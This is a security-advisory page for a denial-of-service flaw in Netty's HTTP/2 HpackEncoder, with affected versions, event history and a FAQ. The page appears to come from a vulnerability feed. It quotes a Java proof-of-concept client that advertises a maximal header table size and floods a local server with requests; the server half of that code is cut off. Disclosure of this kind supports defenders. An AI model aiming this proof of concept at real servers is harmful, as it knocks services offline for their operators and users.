CVE-2026-93492: Io.netty/netty-codec-http2: netty: http/2 hpackencoder dos with large table size

Published Sep 18, 2026
·
Updated

A flaw was found in Netty's HTTP/2 HpackEncoder. A remote attacker can exploit this by sending HTTP/2 SETTINGS frames with a very large MAXHEADERTABLESIZE. This causes the HpackEncoder to store an excessive number of unique headers, leading to increased CPU usage and memory consumption, ultimately resulting in a Denial of Service (DoS).

Other sources

HTTP/2 HpackEncoder DoS with large table size

A public GitHub Security Advisory (GHSA-8352-h356-c9qh) describes the following issue:

Summary A client can send SETTINGS with a very large MAXHEADERTABLESIZE to cause HpackEncoder to save all unique send headers. Those can accumulate over time and cause a CPU or memory DoS.

Details If a client sends SETTINGS with a very large MAXHEADERTABLESIZE, it is propagated directly through DefaultHttp2HeadersEncoder.maxHeaderTableSize() to HpackEncoder.setMaxHeaderTableSize(). HpackEncoder then uses the received value directly and will happily fill the table with every unique header sent by the server, eventually causing excessive O(n²) chain scanning in HpackeEncoder.getEntryInsensitive().

This was found when trying to produce a PoC for a memory DoS caused by retaining all unique header fields. I was expecting to get ~2 GiB of memory usage, but memory use was significantly less. I tracked that down to slowing QPS and then to the CPU DoS. The fix for both is the same: cap the table size, maybe as a function of arraySizeHint.

PoC java import io.netty.bootstrap.Bootstrap; import io.netty.channel.Channel; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInboundHandlerAdapter; import io.netty.channel.ChannelInitializer; import io.netty.channel.EventLoopGroup; import io.netty.channel.SimpleChannelInboundHandler; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioSocketChannel; import io.netty.handler.codec.http2.DefaultHttp2Headers; import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame; import io.netty.handler.codec.http2.Http2FrameCodecBuilder; import io.netty.handler.codec.http2.Http2Headers; import io.netty.handler.codec.http2.Http2HeadersFrame; import io.netty.handler.codec.http2.Http2MultiplexHandler; import io.netty.handler.codec.http2.Http2Settings; import io.netty.handler.codec.http2.Http2StreamChannel; import io.netty.handler.codec.http2.Http2StreamChannelBootstrap; import io.netty.handler.codec.http2.Http2StreamFrame; import io.netty.util.concurrent.Future;

import java.util.concurrent.CompletableFuture; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger;

public final class Http2Client {

static final String HOST = "127.0.0.1"; static final int PORT = 8080;

public static void main(String[] args) throws Exception { // Configure client-sent HTTP/2 SETTINGS Http2Settings settings = Http2Settings.defaultSettings(); settings.headerTableSize(Integer.MAXVALUE);

EventLoopGroup group = new NioEventLoopGroup(1); try { Bootstrap b = new Bootstrap() .group(group) .channel(NioSocketChannel.class) .remoteAddress(HOST, PORT) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast( Http2FrameCodecBuilder.forClient() .initialSettings(settings) .build(), new Http2MultiplexHandler(new ChannelInboundHandlerAdapter())); } });

Channel ch = b.connect().sync().channel(); AtomicInteger count = new AtomicInteger();

for (int i = 0; i < 10; i++) { startRpcs(ch, count); }

while (true) { Thread.sleep(1000); System.out.println("RPCs completed: " + count.getAndSet(0)); } } finally { group.shutdownGracefully(); } }

private static void startRpcs(Channel ch, AtomicInteger count) throws Exception { new Http2StreamChannelBootstrap(ch) .handler(new SimpleChannelInboundHandler<Http2StreamFrame>() { @Override protected void channelRead0(ChannelHandlerContext ctx, Http2StreamFrame msg) throws Exception { if (!(msg instanceof Http2HeadersFrame)) { System.out.println("Unexpected response frame: " + msg); return; } if (!((Http2HeadersFrame) msg).isEndStream()) { System.out.println("Surprising header response: " + msg); return; } count.incrementAndGet(); startRpcs(ch, count); } }) .open() .addListener((Future<Http2StreamChannel> f) -> { Http2Headers headers = new DefaultHttp2Headers() .method("GET") .path("/") .scheme("http"); f.getNow().writeAndFlush(new DefaultHttp2HeadersFrame(headers, true)); }); } } java import io.netty.bootstrap.ServerBootstrap; import io.netty.buffer.ByteBufUtil; import io.netty.channel.Channel; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInitializer; import io.netty.channel.EventLoopGroup; import io.netty.channel.SimpleChannelInboundHandler; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioServerSocketChannel; import io.netty.handler.codec.http2.DefaultHttp2Headers; import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame; import io.netty.handler.codec.http2.Http2DataFrame; import io.netty.handler.codec.http2.Http2FrameCodecBuilder; import io.netty.handler.codec.http2.Http2Headers; import io.netty.handler.codec.http2.Http2HeadersFrame; import io.netty.handler.codec.http2.Http2MultiplexHandler; import io.netty.handler.codec.http2.Http2StreamChannel; import io.netty.handler.codec.http2.Http2StreamFrame;

import java.util.concurrent.ThreadLocalRandom;

public final class Http2Server { static final int PORT = 8080;

public static void main(String[] args) throws Exception { EventLoopGroup group = new NioEventLoopGroup(1); try { ServerBootstrap b = new ServerBootstrap() .group(group) .channel(NioServerS

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected <= 4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-8352-h356-c9qh

Red Hat

Affected Software

2 affected components
Netty netty-codec-http2>=4.2.0.Final<=4.2.17.Final
Netty netty-codec-http2>=4.1.137.Final<=4.1.137.Final

Event History

Sep 18, 2026
Data Sourced
via Red Hat·07:09 AM
DescriptionSeverityAffected Software
CVE Published
via MITRE·12:49 PM
Data Sourced
via MITRE·12:49 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Deployments using Netty's HTTP/2 codec are exposed when they accept HTTP/2 connections from clients that can send SETTINGS frames. The issue is triggered through the HTTP/2 HpackEncoder's handling of a peer-provided MAX_HEADER_TABLE_SIZE value.

2

What does an attacker need to do to exploit it?

An unauthenticated remote client needs to send an HTTP/2 SETTINGS frame with a very large MAX_HEADER_TABLE_SIZE. The server then retains unique headers it sends in the encoder table, allowing CPU and memory use to grow over time.

3

What is the practical impact?

The reported impact is denial of service through increased memory consumption and CPU usage. CPU consumption can become particularly costly because header lookup performs excessive O(n²) chain scanning as the table grows.

4

How can I determine whether an instance may be under attack?

Look for HTTP/2 peers advertising unusually large MAX_HEADER_TABLE_SIZE values, together with growing memory use or CPU use in HTTP/2 header encoding. Affected behavior involves accumulation of unique response headers in the HpackEncoder table over time.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203